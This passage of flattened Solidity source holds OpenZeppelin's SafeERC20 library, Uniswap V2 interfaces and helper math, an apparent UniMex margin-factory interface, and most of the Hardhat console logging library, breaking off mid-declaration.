* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.6.12;
import "@openzeppelin/contracts/math/SafeMath.sol";
interface IUniswapV2Pair {
function getReserves() external view returns (uint112 r0, uint112 r1, uint32 blockTimestampLast);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
}
interface IUniswapV2Factory {
function getPair(address a, address b) external view returns (address p);
}
interface IUniswapV2Router02 {
function WETH() external returns (address);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
library UniswapV2Library {
using SafeMath for uint;
// returns sorted token addresses, used to handle return values from pairs sorted in this order
function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
require(tokenA != tokenB, 'UV2: IDENTICAL_ADDRESSES');
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'UV2: ZERO_ADDRESS');
}
// given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) {
require(amountIn > 0, 'UV2: INSUFFICIENT_INPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UV2: INSUFFICIENT_LIQUIDITY');
uint amountInWithFee = amountIn.mul(997);
uint numerator = amountInWithFee.mul(reserveOut);
uint denominator = reserveIn.mul(1000).add(amountInWithFee);
amountOut = numerator / denominator;
}
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.6.12;
interface IUniMexFactory {
function getPool(address) external returns(address);
function getMaxLeverage(address) external returns(uint256);
function allowedMargins(address) external returns (bool);
function utilizationScaled(address token) external pure returns(uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity >= 0.4.22 <0.9.0;
library console {
address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67);
function _sendLogPayload(bytes memory payload) private view {
uint256 payloadLength = payload.length;
address consoleAddress = CONSOLE_ADDRESS;
assembly {
let payloadStart := add(payload, 32)
let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0)
}
}
function log() internal view {
_sendLogPayload(abi.encodeWithSignature("log()"));
}
function logInt(int p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(int)", p0));
}
function logUint(uint p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint)", p0));
}
function logString(string memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string)", p0));
}
function logBool(bool p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool)", p0));
}
function logAddress(address p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address)", p0));
}
function logBytes(bytes memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes)", p0));
}
function logBytes1(bytes1 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0));
}
function logBytes2(bytes2 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0));
}
function logBytes3(bytes3 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0));
}
function logBytes4(bytes4 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0));
}
function logBytes5(bytes5 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0));
}
function logBytes6(bytes6 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0));
}
function logBytes7(bytes7 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0));
}
function logBytes8(bytes8 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0));
}
function logBytes9(bytes9 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0));
}
function logBytes10(bytes10 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0));
}
function logBytes11(bytes11 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0));
}
function logBytes12(bytes12 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0));
}
function logBytes13(bytes13 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0));
}
function logBytes14(bytes14 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0));
}
function logBytes15(bytes15 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0));
}
function logBytes16(bytes16 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0));
}
function logBytes17(bytes17 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0));
}
function logBytes18(bytes18 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0));
}
function logBytes19(bytes19 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0));
}
function logBytes20(bytes20 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0));
}
function logBytes21(bytes21 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0));
}
function logBytes22(bytes22 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0));
}
function logBytes23(bytes23 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0));
}
function logBytes24(bytes24 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0));
}
function logBytes25(bytes25 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0));
}
function logBytes26(bytes26 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0));
}
function logBytes27(bytes27 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0));
}
function logBytes28(bytes28 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0));
}
function logBytes29(bytes29 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0));
}
function logBytes30(bytes30 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0));
}
function logBytes31(bytes31 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0));
}
function logBytes32(bytes32 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0));
}
function log(uint p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint)", p0));
}
function log(string memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string)", p0));
}
function log(bool p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool)", p0));
}
function log(address p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address)", p0));
}
function log(uint p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1));
}
function log(uint p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1));
}
function log(uint p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1));
}
function log(uint p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1));
}
function log(string memory p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1));
}
function log(string memory p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1));
}
function log(string memory p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1));
}
function log(string memory p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1));
}
function log(bool p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1));
}
function log(bool p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1));
}
function log(bool p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1));
}
function log(bool p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1));
}
function log(address p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1));
}
function log(address p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1));
}
function log(address p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1));
}
function log(address p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1));
}
function log(uint p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2));
}
function log(uint p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2));
}
function log(uint p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2));
}
function log(uint p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2));
}
function log(uint p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2));
}
function log(uint p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2));
}
function log(uint p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2));
}
function log(uint p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2));
}
function log(uint p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2));
}
function log(uint p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2));
}
function log(uint p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2));
}
function log(uint p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2));
}
function log(uint p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2));
}
function log(uint p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2));
}
function log(uint p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2));
}
function log(uint p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2));
}
function log(string memory p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2));
}
function log(string memory p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2));
}
function log(string memory p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2));
}
function log(string memory p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2));
}
function log(string memory p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2));
}
function log(string memory p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2));
}
function log(string memory p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2));
}
function log(string memory p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2));
}
function log(string memory p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2));
}
function log(string memory p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2));
}
function log(string memory p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2));
}
function log(string memory p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2));
}
function log(string memory p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2));
}
function log(string memory p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2));
}
function log(string memory p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2));
}
function log(string memory p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2));
}
function log(bool p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2));
}
function log(bool p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2));
}
function log(bool p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2));
}
function log(bool p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2));
}
function log(bool p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2));
}
function log(bool p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2));
}
function log(bool p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2));
}
function log(bool p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2));
}
function log(bool p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2));
}
function log(bool p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2));
}
function log(bool p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2));
}
function log(bool p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2));
}
function log(bool p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2));
}
function log(bool p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2));
}
function log(bool p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2));
}
function log(bool p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2));
}
function log(address p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2));
}
function log(address p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2));
}
function log(address p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2));
}
function log(address p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2));
}
function log(address p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2));
}
function log(address p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2));
}
function log(address p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2));
}
function log(address p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2));
}
function log(address p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2));
}
function log(address p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2));
}
function log(address p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2));
}
function log(address p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2));
}
function log(address p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2));
}
function log(address p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2));
}
function log(address p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2));
}
function log(address p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2));
}
function log(uint p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, string memory p3) internal view {
